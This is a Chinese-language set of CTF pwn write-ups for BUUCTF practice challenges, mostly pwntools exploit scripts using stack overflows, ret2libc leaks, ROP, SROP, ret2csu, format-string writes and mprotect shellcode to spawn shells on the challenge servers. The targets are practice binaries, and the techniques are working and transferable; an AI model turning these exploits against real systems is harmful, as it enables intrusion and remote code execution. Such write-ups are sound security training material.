Stack pwn1
EXP
1 2 3 4 5 6 7 8 9 from pwn import *sh = remote("node3.buuoj.cn" ,29918 ) payload = "a" *23 payload +=p64(0x0000000000401198 )+p64(0x0000000000401186 ) sleep(2 ) sh.sendline(payload) sh.interactive()
这里有点不太明白,为什么直接将rip
指向0x401186
就不可以
warmup_csaw_2016
和上一个类似程序中有个sub_40060d
的函数可以直接查看flag,控制eip指向这个函数即可
EXP
1 2 3 4 5 6 7 8 from pwn import *sh = process("./warmup_csaw_2016" ) sh = remote("node3.buuoj.cn" ,27439 ) payload = "a" *72 cat = 0x40060D sleep(2 ) sh.sendline(payload+p64(cat)) sh.interactive()
控制EIP指向代码段
pwn1_sctf_2016
IDA分析程序流程,发现程序只可以输入32个字符,而溢出点却要0x3c+4
的大小
在往下看,会发现如果用户输入“I”的话会被转换位“you”,也就是说一个“I”占三位,那么0x3c+4
/3
=21
,只要输入21个“I”在加上随便一个字符串,就可以造成溢出。
另外程序中有个get_flag 函数可以直接返回flag,接下来只要控制EIP指向这个函数的地址即可
EXP
1 2 3 4 5 6 from pwn import *sh = process("./pwn1_sctf_2016" ) sh = remote("node3.buuoj.cn" ,25401 ) payload = "I" *21 +"a" +p32(0x08048F0D ) sh.sendline(payload) sh.interactive()
要先绕过字符转换机制
ciscn_2019_n_1
EXP
1 2 3 4 5 6 7 from pwn import *sh = process("./ciscn_2019_n_1" ) sh = remote("node3.buuoj.cn" ,27561 ) payload = "a" *(0x2c )+p64(0x41348000 ) sleep(1 ) sh.sendline(payload) sh.interactive()
数据覆盖
ciscn_2019_c_1
打开IDA分析源程序可以看到溢出点在encrypt 函数的get(s)
这里。
而传进来的字符串会被分别异或运算一下,但是会被strlen(s)控制是否异或,可以直接拿\x00截断strlen获取的长度
接下来就是直接利用puts函数来泄露libc地址,使用libc中的system获取shell
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *sh = process("./ciscn_2019_c_1" ) sh = remote("node3.buuoj.cn" ,26460 ) elf = ELF("./ciscn_2019_c_1" ) libc = ELF("./libc6_2.27-3ubuntu1_amd64.so" ) context.terminal = ['tmux' ,"splitw" ,"h" ] context.log_level = 'debug' rdi_ret = 0x400c83 ret = 0x4006b9 puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] main_addr = elf.symbols['main' ] rdi_ret = 0x0000000000400c83 ret = 0x4006b9 puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] main_addr = elf.symbols['main' ] padding = "a" +'\x00' +86 *"b" payload = padding payload += p64(rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(main_addr) sh.recvuntil('Input your choice!' ) sh.sendline('1' ) sh.recvuntil("Input your Plaintext to be encrypted" ) gdb.attach(sh) sh.sendline(payload) puts_addr = u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.success('puts_addr = ' + hex (puts_addr)) base_addr = puts_addr - libc.sym['puts' ] log.success('base_addr = ' + hex (base_addr)) system_addr = base_addr + libc.sym['system' ] binsh_addr = base_addr + libc.search("/bin/sh\x00" ).next () payload = padding payload += p64(ret) payload += p64(rdi_ret) payload += p64(binsh_addr) payload += p64(system_addr) payload += p64(main_addr) sh.recvuntil('Input your choice!' ) sh.sendline('1' ) sh.recvuntil("Input your Plaintext to be encrypted" ) sh.sendline(payload) sh.interactive()
\x00
截断strlen(),以及不同环境的栈对齐
babyrop
IDA一步步分析可以看到是先生成了一个随机数传到buf
上,之后进入sub_804871F并将buf 带入函数中传给s
,读取用户输入到buf上
接着获取用户输入的长度传给v1,然后使用strncmp来与s比较v1位。如果相同则将v5返回给v2,并带入sub_80487d0中,而该函数中的用户数入的大小,则可以由前面的v2决定的。
那么整体思路便是先用\x00
来截断strncmp的比较,然后跟上较大的值如\xff
,当程序到sub_80487d0函数中时,就可以构造ROP链进行溢出了
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context.log_level='debug' sh = process("./babyrop" ) sh = remote("node3.buuoj.cn" ,27886 ) elf = ELF("./babyrop" ) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) libc = ELF("./libc6-i386_2.23-0ubuntu11_amd64.so" ) puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] start_addr = 0x080485A0 sleep(1 ) sh.sendline("\x00" +"\xff\xff\xff\xff\xff\xff\xff" ) sleep(1 ) payload = "a" *(0xe7 +4 ) payload += p32(puts_plt)+p32(start_addr)+p32(puts_got) sh.sendline(payload) sh.recvline() puts_addr = u32(sh.recv(4 )) success("puts:0x%x" ,puts_addr) base_addr = puts_addr - libc.sym["puts" ] success("base:0x%x" ,base_addr) system = base_addr + libc.sym["system" ] binsh = base_addr + libc.search("/bin/sh" ).next () sh.recvline() sh.sendline("\x00" +"\xff\xff\xff\xff\xff\xff\xff" ) sleep(1 ) payload = "a" *(0xe7 +4 ) payload += p32(system)+p32(start_addr)+p32(binsh) sh.sendline(payload) sh.interactive()
\x00
截断strncmp()
ciscn_2019_en_2
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *sh = process("./ciscn_2019_en_2" ) sh = remote("node3.buuoj.cn" ,25303 ) elf = ELF("./ciscn_2019_en_2" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) libc = ELF("./libc6_2.27-3ubuntu1_amd64.so" ) context.terminal = ['tmux' ,"splitw" ,"h" ] context.log_level = 'debug' rdi_ret = 0x0000000000400c83 ret = 0x4006b9 puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] main_addr = elf.symbols['main' ] padding = "a" +'\x00' +86 *"b" payload = padding payload += p64(rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(main_addr) sh.recvuntil('Input your choice!' ) sh.sendline('1' ) sh.recvuntil("Input your Plaintext to be encrypted" ) sh.sendline(payload) puts_addr = u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.success('puts_addr = ' + hex (puts_addr)) base_addr = puts_addr - libc.sym['puts' ] log.success('base_addr = ' + hex (base_addr)) system_addr = base_addr + libc.sym['system' ] binsh_addr = base_addr + libc.search("/bin/sh\x00" ).next () payload = padding payload += p64(ret) payload += p64(rdi_ret) payload += p64(binsh_addr) payload += p64(system_addr) payload += p64(main_addr) sh.recvuntil('Input your choice!' ) sh.sendline('1' ) sh.recvuntil("Input your Plaintext to be encrypted" ) sh.sendline(payload) sh.interactive()
get_started_3dsctf_2016
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.log_level = 'debug' context.terminal = ["tmux" ,"splitw" ,"-h" ] sh = process("./get_started_3dsctf_2016" ) sh = remote("node3.buuoj.cn" ,26384 ) elf = ELF("./get_started_3dsctf_2016" ) a1 = 814536271 a2 = 425138641 get_flag = elf.sym["get_flag" ] main = elf.sym["main" ] openf = elf.sym["fopen" ] padding = 56 *"a" payload = padding+p32(get_flag)+p32(0x08048196 )+p32(main)+p32(a1)+p32(a2) gdb.attach(sh) sh.sendline(payload) sh.interactive()
控制EIP指向某函数传值。但是在打远程的时候出了点问题,暂时找不到解决的办法
[第五空间2019决赛] pwn5
checksec查看程序保护,开启了canary,到IDA搜索一下未格式化的字符串,果然有
点进去仔细看程序结构,先是生成了一个随机数到unk_804c044
,然后读取name到buf
,读取passwd到nptr
,最后拿nptr和先前生成的随机数判断是否相同。
那么就可以在输入name时构造格式化字符串任意地址写漏洞,将1
写进去,然后再输入passwd时,传入1
即可
EXP
1 2 3 4 5 6 7 8 9 from pwn import *sh = process("./pwn5" ) sh = remote("node3.buuoj.cn" ,28799 ) sleep(1 ) payload = fmtstr_payload(10 ,{0x804C044 :0x1 }) sh.sendline(payload) sh.recvuntil("passwd:" ) sh.sendline("1" ) sh.interactive()
格式化字符串漏洞,任意地址写
ciscn_2019_n_8
EXP
1 2 3 4 5 6 7 from pwn import *sh = process("./ciscn_2019_n_8" ) sh = remote("node3.buuoj.cn" ,28898 ) sleep(1 ) payload = p32(17 )*14 sh.sendline(payload) sh.interactive()
填充QWORD
类型的数据
ciscn_2019_s_3
利用SROP技术
因为程序中自带write函数,可以输出栈的地址,那么就只用接收一下这个地址,然后以该地址
-read参数在栈中的偏移量
就可以得出binsh的地址了。(具体偏移量在gdb中调试)
然后利用SigreturnFrame()
框架来伪造Signal Frame
,最后形成syscall(0x3b,"/bin/sh",0,0)
的一条系统调用指令
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ,terminal=["tmux" ,"splitw" ,"-h" ]) sh = process('./ciscn_s_3' ) sigreturn = 0x4004DA read_write = 0x4004F1 syscall = 0x400517 payload = '/bin/sh\x00' + 'a' *0x8 + p64(read_write) sh.send(payload) sh_addr = u64(sh.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" ))- 0x118 log.success('stack_addr: ' + hex (sh_addr+0x118 )) frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = sh_addr frame.rsi = 0 frame.rdx = 0 frame.rsp = sh_addr-0x118 frame.rip = syscall payload = 'a' *0x10 +p64(sigreturn)+p64(syscall)+str (frame) sh.send(payload) sh.interactive()
not_the_same_3dsctf_2016
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.terminal=["tmux" ,"splitw" ,"-h" ] context.log_level="debug" sh=process("./not_the_same_3dsctf_2016" ) sh=remote("node3.buuoj.cn" ,29401 ) elf = ELF("./not_the_same_3dsctf_2016" ) get_shell = elf.sym["get_secret" ] write = elf.sym['write' ] main = elf.sym['main' ] payload = "a" *45 payload += p32(get_shell)+p32(main) sleep(1 ) sh.sendline(payload) sleep(1 ) payload = "a" *45 payload += p32(write)+p32(main)+p32(1 )+p32(0x80eca2d )+p32(45 ) sh.sendline(payload) sh.interactive()
控制程序读取flag.txt,利用write函数再读取
[HarekazeCTF]babyrop
EXP
1 2 3 4 5 6 7 8 9 10 from pwn import *sh=process("./babyrop_harekazeCTF" ) sh = remote("node3.buuoj.cn" ,29606 ) elf = ELF("./babyrop_harekazeCTF" ) system = elf.sym["system" ] binsh = 0x0000000000601048 rdi_ret = 0x0000000000400683 payload = "a" *24 +p64(rdi_ret)+p64(binsh)+p64(system)+p64(system) sh.sendline(payload) sh.interactive()
[HarekazeCTF]babyrop2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level='debug' context.terminal = ["tmux" ,"splitw" ,"-h" ] sh=process("./babyrop2_harekazeCTF" ) sh = remote("node3.buuoj.cn" ,28808 ) elf = ELF("./babyrop2_harekazeCTF" ) libc = ELF("libc/libc.so.6" ) printf_plt = elf.plt["printf" ] read_got = elf.got["read" ] main = elf.sym["main" ] rdi_ret = 0x0000000000400733 payload = "a" *40 payload +=p64(rdi_ret)+p64(read_got)+p64(printf_plt)+p64(main) sh.sendlineafter("? " ,payload) base_addr = u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-libc.sym["read" ] success("base_addr:0x%x" ,base_addr) system = base_addr+libc.sym["system" ] binsh = base_addr+libc.search("/bin/sh" ).next () payload = "b" *40 payload += p64(rdi_ret)+p64(binsh)+p64(system)+p64(main) sh.sendline(payload) sh.interactive()
使用printf
函数泄露read函数的got表,但不可以泄露printf的got表
[铁三第五赛区]2018_rop
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *sh =process("./tie3_2018_rop" ) sh = remote("node3.buuoj.cn" ,25832 ) elf = ELF("./tie3_2018_rop" ) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) libc = ELF("libc/libc6-i386_2.27-3ubuntu1_amd64 (1).so" ) write_plt = elf.plt["write" ] write_got = elf.got["write" ] main = 0x080484C6 payload = "a" *140 +p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) sh.sendline(payload) write = u32(sh.recv(4 )) base = write-libc.sym["write" ] success("wrtie:0x%x" ,write) success("base:0x%x" ,base) sleep(1 ) system = base+libc.sym["system" ] binsh = base+libc.search("/bin/sh" ).next () payload = "a" *140 +p32(system)+p32(main)+p32(binsh) sh.sendline(payload) sh.interactive()
bjdctf_2020_babystack
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *sh = remote("node3.buuoj.cn" ,29848 ) payload = "a" *24 payload += p64(0x00000000004006E6 ) sh.recvuntil("[+]Please input the length of your name:" ) sh.sendline("300" ) sh.recvuntil("[+]What's u name?" ) sh.sendline(payload) sh.interactive()
bjdctf_2020_babyrop
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.terminal = ["tmux" ,"splitw" ,"-h" ] context.log_level = "debug" sh = process("./bjdctf_2020_babyrop" ) elf = ELF("./bjdctf_2020_babyrop" ) libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6" ) puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] main = elf.sym["main" ] rdi_ret = 0x0000000000400733 sh = remote("node3.buuoj.cn" ,28316 ) payload1 = "a" *40 payload1 += p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) sh.recvuntil("story!\n" ) sh.sendline(payload1) puts = u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,"\x00" )) success("puts_addr:0x%x" ,puts) base_addr = puts-libc.symbols["puts" ] success("base_addr:0x%x" ,base_addr) system = libc.sym["system" ]+base_addr binsh = libc.search("/bin/sh\x00" ).next ()+base_addr payload2 = "a" *40 +p64(rdi_ret)+p64(binsh)+p64(system)+p64(main) sh.recvuntil("story!\n" ) sh.sendline(payload2) sh.interactive()
jarvisoj_level0
算是ret2text 程序内可以直接找到system(“/bin/sh”)的代码片段,返回到这里即可
EXP
1 2 3 4 5 6 7 8 9 from pwn import *sh = process("./jarvisoj_level0" ) sh = remote("node3.buuoj.cn" ,27530 ) binsh = 0x000000000040059A payload = "a" *0x88 +p64(binsh) sh.sendline(payload) sh.interactive()
jarvisoj_level1
考shellcode的一道题,需要先用recvuntil
来接收buf的地址
EXP
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *sh = process("./jarvisoj_level1" ) buf = int (sh.recvuntil("?\n" )[-10 :-2 ],16 ) shellcode = asm(shellcraft.sh())+"\x00" print hex (buf)print shellcodepayload = shellcode.ljust(140 ,"a" )+p32(buf) sh.sendline(payload) sh.interactive()
另外不清楚为什么本地和远程的题目不一样…..也就是说我拿不了flag…..
jarvisoj_level2
这次没有直接的system("/bin/sh")
这样完整的代码片段了,但是可以拼接一下
用ROPgadget再程序中搜索/bin/sh
字符串 然后再利用再IDA中找到的call system
的地址
EXP
1 2 3 4 5 6 7 8 9 from pwn import *sh = process("./jarvisoj_level2" ) sh = remote("node3.buuoj.cn" ,26529 ) binsh = 0x0804a024 system = 0x0804849E payload = "a" *0x88 +p32(system)+p32(system)+p32(binsh) sh.recvuntil("Input:\n" ) sh.sendline(payload) sh.interactive()
##jarvisoj_level2_x64
64位的版本,需要有一个pop rdi;ret
片段来保持栈平衡
EXP
1 2 3 4 5 6 7 8 9 10 from pwn import *sh = process("./jarvisoj_level2_x64" ) sh = remote("node3.buuoj.cn" ,25463 ) binsh = 0x0000000000600a90 system = 0x000000000040063E rdi_ret = 0x00000000004006b3 payload = "a" *0x88 +p64(rdi_ret)+p64(binsh)+p64(system)+p64(system) sh.recvuntil("Input:\n" ) sh.sendline(payload) sh.interactive()
jarvisoj_fm
1 2 3 4 5 6 7 8 from pwn import *sh = process('./fm' ) sh = remote("node3.buuoj.cn" ,28272 ) x = 0x0804A02C payload = fmtstr_payload(11 ,{x:0x4 }) sh.sendline(payload) sh.interactive()
jarvisoj_level3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context.terminal = ["tmux" ,"splitw" ,"-h" ] context.log_level = "debug" sh = process("./level3" ) elf = ELF("./level3" ) libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6-i386_2.23-0ubuntu10_amd64/libc.so.6" ) write_plt = elf.plt["write" ] write_got = elf.got["write" ] main = elf.sym["main" ] sh = remote("node3.buuoj.cn" ,29644 ) payload1 = "a" *140 payload1 += p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) sh.recvuntil("Input:\n" ) sh.sendline(payload1) write = u32(sh.recvuntil('\xf7' )[-4 :]) success("write_addr:0x%x" ,write) base_addr = write-libc.symbols["write" ] success("base_addr:0x%x" ,base_addr) system = libc.sym["system" ]+base_addr binsh = libc.search("/bin/sh\x00" ).next ()+base_addr payload2 = "a" *140 +p32(system)+p32(system)+p32(binsh) sh.recvuntil("Input:\n" ) sh.sendline(payload2) sh.interactive()
jarvisoj_levle3_x64
程序中只有write,如果想要泄露函数的地址的话,也就必须要凑齐rdi\rsi\rdx
三个代码片段
但是程序中并没有找到,但是可以使用ret2csu
的办法来泄露函数地址
需要注意一点的是,ret2csu
第一段gadgets的顺序
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context.terminal = ["tmux" ,"splitw" ,"-h" ] context.log_level = "debug" sh = process("./jarvisoj_level3_x64" ) elf = ELF("./jarvisoj_level3_x64" ) libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6" ) write_plt = elf.plt["write" ] write_got = elf.got["write" ] main = elf.sym["main" ] sh = remote("node3.buuoj.cn" ,26767 ) gadget1 = 0x00000000004006A6 gadget2 = 0x0000000000400690 def csu (r12,r13,r14,r15,ret_addr ): payload = "a" *0x88 payload += p64(gadget1) payload += 'b' *8 payload += p64(0 ) payload += p64(1 ) payload += p64(r12) payload += p64(r15) payload += p64(r14) payload += p64(r13) payload += p64(gadget2) payload += 'c' * 0x38 payload += p64(ret_addr) sh.sendline(payload) sh.recvuntil("Input:\n" ) csu(write_got,1 ,write_got,8 ,main) write_addr=u64(sh.recv(8 )) print hex (write_addr)offset_addr = write_addr-libc.symbols['write' ] print hex (offset_addr)execve_addr = offset_addr + libc.symbols['execve' ] print hex (execve_addr)read_addr = elf.got['read' ] bss_addr = elf.bss() csu(read_addr,0 ,bss_addr,16 ,main) sh.recvuntil("Input:\n" ) sh.send(p64(execve_addr)+'/bin/sh\x00' ) print "bss_addr:" ,hex (bss_addr)sh.recvuntil("Input:\n" ) csu(bss_addr,bss_addr+8 ,0 ,0 ,main) sh.interactive()
jarvisoj_level4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context.terminal = ["tmux" ,"splitw" ,"-h" ] context.log_level = "debug" sh = process("./jarvisoj_level4" ) elf = ELF("./jarvisoj_level4" ) libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6-i386_2.23-0ubuntu10_amd64/libc.so.6" ) write_plt = elf.plt["write" ] write_got = elf.got["write" ] main = elf.sym["main" ] sh = remote("node3.buuoj.cn" ,25463 ) payload1 = "a" *140 payload1 += p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) sh.sendline(payload1) write = u32(sh.recvuntil('\xf7' )[-4 :]) success("write_addr:0x%x" ,write) base_addr = write-libc.symbols["write" ] success("base_addr:0x%x" ,base_addr) system = libc.sym["system" ]+base_addr binsh = libc.search("/bin/sh\x00" ).next ()+base_addr payload2 = "a" *140 +p32(system)+p32(system)+p32(binsh) sleep(1 ) sh.sendline(payload2) sh.interactive()
jarvisoj_memonr
直接跳转到system的plt地址,cat flag
的地址程序也直接给出来了
1 2 3 4 5 6 7 8 from pwn import *sh = process("./jarvisoj_memory" ) sh = remote("node3.buuoj.cn" ,26542 ) payload = (0x13 +4 )*"a" payload += p32(0x08048440 )+p32(0x08048440 )+p32(0x80487e0 ) sh.sendline(payload) sh.interactive()
jarvisoj_memonr
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context.terminal = ["tmux" ,"splitw" ,"-h" ] context.log_level = "debug" elf = ELF("./jarvisoj_level5" ) libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6" ) write_plt = elf.plt["write" ] write_got = elf.got["write" ] main = elf.sym["main" ] sh = remote("node3.buuoj.cn" ,26305 ) gadget1 = 0x00000000004006A6 gadget2 = 0x0000000000400690 def csu (r12,r13,r14,r15,ret_addr ): payload = "a" *0x88 payload += p64(gadget1) payload += 'b' *8 payload += p64(0 ) payload += p64(1 ) payload += p64(r12) payload += p64(r15) payload += p64(r14) payload += p64(r13) payload += p64(gadget2) payload += 'c' * 0x38 payload += p64(ret_addr) sh.sendline(payload) sh.recvuntil("Input:\n" ) csu(write_got,1 ,write_got,8 ,main) write_addr=u64(sh.recv(8 )) print hex (write_addr)offset_addr = write_addr-libc.symbols['write' ] print hex (offset_addr)execve_addr = offset_addr + libc.symbols['execve' ] print hex (execve_addr)read_addr = elf.got['read' ] bss_addr = elf.bss() csu(read_addr,0 ,bss_addr,16 ,main) sh.recvuntil("Input:\n" ) sh.send(p64(execve_addr)+'/bin/sh\x00' ) print "bss_addr:" ,hex (bss_addr)sh.recvuntil("Input:\n" ) csu(bss_addr,bss_addr+8 ,0 ,0 ,main) sh.interactive()
PicoCTF_2018_rop_chain
看题目是让构造ROP链,把程序放到IDA中分析
得出构造rop链的思路为:win_function1
->win_function2
->0x0BAAAAAAD
->flag
->0x0DEADBAAD
EXP
1 2 3 4 5 6 7 8 from pwn import *sh = process("./PicoCTF_2018_rop_chain" ) sh = remote("node3.buuoj.cn" ,29030 ) elf = ELF("./PicoCTF_2018_rop_chain" ) payload = "a" *(0x18 +4 )+p32(elf.sym["win_function1" ])+p32(elf.sym["win_function2" ])+p32(elf.sym["flag" ])+p32(0xBAAAAAAD )+p32(0xDEADBAAD ) sh.sendline(payload) sh.interactive()
PicoCTF_2018_buffer_overflow0
EXP
1 ./vuln aaaabaaacaaadaaaeaaafaaagaaa\x80\xa0\x04
wustctf2020_closed
用命令exec 1>&0
把stdout
重定向到stdin
就返回shell了。
EXP
1 2 3 4 from pwn import *p = remote("node3.buuoj.cn" ,28568 ) p.sendline("exec 1>&0" ) p.interactive()
wustctf2020_getshell_2
相比于getshell,该题的binsh字符串被打乱了
不过可以直接用ROPgadgets来搜索sh字符串,system("sh")
也可以返回shell
然后就是buf
空间的问题,28个字符后才可以控制程序执行,而buf
缺只能输入36个字符
也就是说除去28个填充字符外,只可以再传入8位。
此时可以直接找一下程序中已有的代码段call system
然后再加上sh
刚好8位
1 2 3 4 5 6 7 8 from pwn import *sh = process('./wustctf2020_getshell_2' ) sh = remote("node3.buuoj.cn" ,28459 ) system_call = 0x08048529 payload = 'a' *28 + p32(system_call)+p32(0x08048670 ) sh.sendline(payload) sh.interactive()
get_sta、rted_3dsctf_2016
可以看到只开启了nx保护
这里有两个常见的方法来获取flag
方法1:
使用程序中已有的get_flag函数来读取flag
使用ida查看伪代码可以看到这个get_flag函数要求传入的两个参数必须为814536271
和425138641
即可直接读取flag
这里需要注意一点,构造payload时返回地址不可以随便填写,因为在打远程时导致程序异常是不会给回显的,想要看到flag必须先要让程序正常退出,这里使用exit
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.log_level = 'debug' context.terminal = ["tmux" ,"splitw" ,"-h" ] sh = remote("node3.buuoj.cn" ,26236 ) elf = ELF("./get_started_3dsctf_2016" ) a1 = 814536271 a2 = 425138641 get_flag = elf.sym["get_flag" ] main = elf.sym["exit" ] padding = 56 *"a" payload = padding+p32(get_flag)+p32(main)+p32(a1)+p32(a2) sleep(1 ) sh.sendline(payload) sh.interactive()
方法2:
使用mprotect函数修改bss段权限来执行shellcode
使用gdb中的vmmap先来看一下bss段的权限
确定好溢出位后payload布局如下
mprotect函数
+pop *;ret
+参数1\2\3
+返回地址[read函数]
+pop *;ret
+参数1\2\3
+返回地址[shellcode_addr]
也就是先使用mprotect来修改指定bss段地址的权限,在利用pop esi;pop edi;pop ebp;ret
来返回到指定地址如read函数 上以读取shellcode 到以修改权限的bss段地址上,最后再次利用pop esi;pop edi;pop ebp;ret
片段返回到shellcode的位置上即可。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *p=process('./get_started_3dsctf_2016' ) elf=ELF('./get_started_3dsctf_2016' ) context.terminal = ["tmux" ,"splitw" ,"-h" ] context.log_level = "debug" bss_addr = 0x80eb000 shellcode_addr = 0x080EB500 pop_3_ret=0x080483b8 payload='a' *0x38 payload += p32(elf.symbols['mprotect' ]) payload += p32(pop_3_ret) payload += p32(bss_addr) payload += p32(0x1000 ) payload += p32(0x7 ) payload += p32(elf.symbols['read' ]) payload += p32(pop_3_ret) payload += p32(0 ) payload += p32(shellcode_addr) payload += p32(0x100 ) payload += p32(shellcode_addr) p.sendline(payload) sleep(1 ) payload=asm(shellcraft.sh()) p.sendline(payload) p.interactive()
pwn2_sctf_2016 程序分析
没有栈保护没有PIE
简单分析伪代码可以得知,第一次输入的内容必须小于32,
但在后面的再次输入中,必须大于44才能进行溢出,这里就要绕过v2>32的这个判断
而在get_n函数中,我们可以发现传入的参数a2是个无符号类型的整数,而这恰好可以通过整形溢出来就行绕过,我们可以输入-1,继续运行程序可以看到此时便输入很多的数据对程序进行溢出了。
利用思路
通过整形溢出绕过大小的限制
之后通过程序中的printf函数对printf函数地址进行泄露
(其中要注意printf函数中需要有一个格式化字符的参数,这个可以拿程序中的13行printf时的格式化字符进行直接利用)
当泄露出printf的地址后,算出libc的基地址,进而加载system和binsh的地址,最后再次溢出即可getshell
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 import osimport sysimport subprocessfrom pwn import *from one_gadget import generate_one_gadget context.terminal = ["tmux" ,"new-window" ] def RemPro (ip='' ,port='' ): global sh,elf,libc,one_ggs elf_addr = "./pwn2_sctf_2016" libc_addr = "/lib/i386-linux-gnu/libc.so.6" pro_libc = "/home/da1sy/DA1SY-Win/CTF/libc/16.04/32node3.buuoj.cn:29297/libc.so.6" if len (sys.argv) > 2 : sh = remote(sys.argv[1 ],sys.argv[2 ]) try : libc = ELF(pro_libc) libc_addr = pro_libc except : log.info("No set Remote_libc..." ) libc = ELF(libc_addr) else : libc = ELF(libc_addr) try : sh = remote(ip,port) libc = ELF(pro_libc) libc_addr = pro_libc except : sh = process(elf_addr) one_ggs = one_gadget(libc_addr) elf = ELF(elf_addr) return 1 def debug (cmd="" ): if len (sys.argv) <= 2 : log.progress("Loading Debug...." ) gdb.attach(sh,cmd) def shell_code (fw ): if fw == 32 : return asm(shellcraft.sh()) elif fw == 64 : return asm(shellcraft.amd64.linux.sh()) def one_gadget (filename ): log.progress("Leak One_Gadgets..." ) return map (int , subprocess.check_output(['one_gadget' , '--raw' ,'-f' , filename]).split(' ' )) def exp (): sh.recvuntil("read? " ) sh.sendline("-1" ) sh.recvuntil("data!\n" ) format_str = 0x080486F8 main_addr = elf.sym["main" ] printf_plt = elf.plt["printf" ] printf_got = elf.got["printf" ] payload="a" *48 payload += p32(printf_plt)+p32(main_addr)+p32(format_str)+p32(printf_got) sh.sendline(payload) sh.recvuntil("\n" ) sh.recvuntil("said: " ) printf_addr = u32(sh.recv(4 ).ljust(4 ,"\x00" )) success("printf_addr => 0x%x" ,printf_addr) libc_base = printf_addr - libc.sym["printf" ] success("libc_base => 0x%x" ,libc_base) system_addr = libc_base + libc.sym["system" ] binsh_addr = libc_base + libc.search("/bin/sh" ).next () sh.recvuntil("read? " ) sh.sendline("-1" ) sh.recvuntil("data!\n" ) payload2 = "a" *48 payload2 += p32(system_addr)+p32(main_addr)+p64(binsh_addr) sh.sendline(payload2) return sh if __name__=="__main__" : RemPro() if len (sys.argv) > 3 : eval (sys.argv[3 ])() elif (len (sys.argv)>1 and len (sys.argv)<3 ): eval (sys.argv[1 ])() else : exp() sh.interactive()
ez_pz_hackover_2016 程序分析
在伪代码的第17行当中可以看到会将我们的输入与“crashme”做一个对比判断,如果正确则将数据传入到vuln函数中,而vuln函数中的主要操作也就是将传入的数据复制到dest中。而这里正是程序造成溢出的地方,溢出点的话我们可以通过gdb确定。
再第17行中使用的strcmp进行的一个判断,根据其特性我们可以使用”\x00”截断字符串并输入后续的内容。
利用思路
首先可以使用cyclic来测试出溢出点,输入的内容中除去crashme\x00
外距离eip
有18个字符的,再加上crashme\x00
也就是26个字符的距离。
